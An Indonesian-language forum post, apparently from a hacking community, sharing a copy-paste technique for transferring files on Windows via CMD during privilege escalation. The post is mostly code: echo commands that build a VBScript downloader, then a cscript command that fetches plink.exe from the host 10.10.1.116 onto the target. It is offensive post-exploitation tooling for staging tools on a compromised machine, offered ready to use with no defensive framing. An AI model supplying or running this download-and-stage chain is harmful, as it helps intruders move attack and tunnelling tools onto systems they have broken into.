TIPS DAN TRIK FILE TRANSFER DI WINDOWS DENGAN CMD
#1
Halo,

Ane mau share tips dan trik sedikit nih tentang file transfer di windows, tips dan trik ini berguna ketika anda melakukan privelege escalation di terminal windows via CMD (command line) cara kerja script ini menggunakan fungsi cscript pada windows  seperti fungsi wget di linux , paham kan wget apa? Big Grin hehehe

yuk berikut scriptnya, cara kerjanya tinggal copy dan paste di terminal cmd trus pencet enter enter sampai seluruh script berhasil dijalankan.

Code:
echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs
echo Err.Clear >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
echo http.Open "GET", strURL, False >> wget.vbs
echo http.Send >> wget.vbs
echo varByteArray = http.ResponseBody >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
echo Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs
echo strData = "" >> wget.vbs
echo strBuffer = "" >> wget.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> wget.vbs
echo Next >> wget.vbs
echo ts.Close >> wget.vbs

Selanjutnya tinggal jalankan perintah berikut

Code:
cscript wget.vbs http://10.10.1.116/plink.exe plink.exe

sekian dan terima kasih.
Jangan Makan Tulang Kawan | Kurawa |


Messages In This Thread
TIPS DAN TRIK FILE TRANSFER DI WINDOWS DENGAN CMD - by Kresna - 05-03-2018, 01:31 AM




Users browsing this thread: 1 Guest(s)